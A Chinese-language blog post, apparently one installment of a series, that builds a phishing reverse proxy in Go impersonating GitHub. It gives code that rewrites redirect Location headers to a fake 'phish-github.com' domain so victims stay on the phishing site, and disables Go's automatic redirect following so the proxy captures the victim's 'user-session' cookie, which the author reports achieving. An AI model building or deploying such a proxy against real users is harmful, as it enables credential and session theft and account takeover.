如昨天所說,因為我們自己的 Phish Github 沒有把正確的 status code 傳給瀏覽器(下圖),所以沒辦法重新導向,而今天就是要解決這個問題
之前的 sendReqToUpstream
只回傳 body 跟 header,現在需要 status code 所以多回傳一個 resp.StatusCode
,Go 的多回傳值真的很方便呢
func sendReqToUpstream(req *http.Request) ([]byte, http.Header, int) {
client := http.Client{}
resp := client.Do(req)
// ...
return respBody, resp.Header, resp.StatusCode
}
handler 方面如果發現 status code 是 3XX
,那就把 Location
取代一下變成假的網址,譬如說原本是 https://github.com
就變成 https://phish-github.com
,這樣才不會讓獵物逃出釣魚網站XD
func handler(w http.ResponseWriter, r *http.Request) {
req := cloneRequest(r)
body, header, statusCode := sendReqToUpstream(req)
//...
// 如果 status code 是 3XX 就取代 Location 網址
if statusCode >= 300 && statusCode < 400 {
location := header.Get("Location")
newLocation := strings.Replace(location, upstreamURL, phishURL, -1)
w.Header().Set("Location", newLocation)
}
// 轉傳正確的 status code 給瀏覽器
w.WriteHeader(statusCode)
w.Write(body)
}
這樣應該沒問題了吧?
筆者我原先以為只要把正確的 status code 跟 Location
傳到瀏覽器就沒問題了,但想不到還是不能登入
仔細研究了一下發現是 Go 中的 HTTP client 預設會自動跟隨 HTTP Redirect,什麼意思呢?看下面這張圖,我們想要的是這樣,只要 reverse proxy 收到 302,那他就竄改一下 Location
再把 302
轉傳給前端
但想不到 Go 的 http client 收到 302 Redirect
之後馬上又 自動 發一個請求到 Location
,而且還沒把 cookie 存起來,如下圖
為了避免這種狀況只好 讓 http client 不要自動 follow redirect ,怎麼做呢?只要在初始化 http client 時指定一個 CheckRedirect
function 就可以了,Go 每次要 follow redirect 之前都會先跑這個 function,如果回傳 http.ErrUseLastResponse
這個錯誤他就不會跟隨 redirect 而是直接得到回覆,也就可以達到我們想要的效果
func sendReqToUpstream(req *http.Request) ([]byte, http.Header, int) {
checkRedirect := func(r *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
}
client := http.Client{CheckRedirect: checkRedirect}
resp, err := client.Do(req)
// ...
return respBody, resp.Header, resp.StatusCode
}
實際測試一下終於可以重新導向也可以拿到 user-session
的 cookie 囉
今天實作了轉發 status code 還有 HTTP header 中的 Location
,而且還意外發現原來 Go 的 HTTP client 會自動 follow redirect,真是長知識了。
commit 一樣放在 Github 上,今天的內容有點難,如果有任何問題請不要害羞在底下留言XD,我會盡量解釋讓大家都看得懂,謝謝大家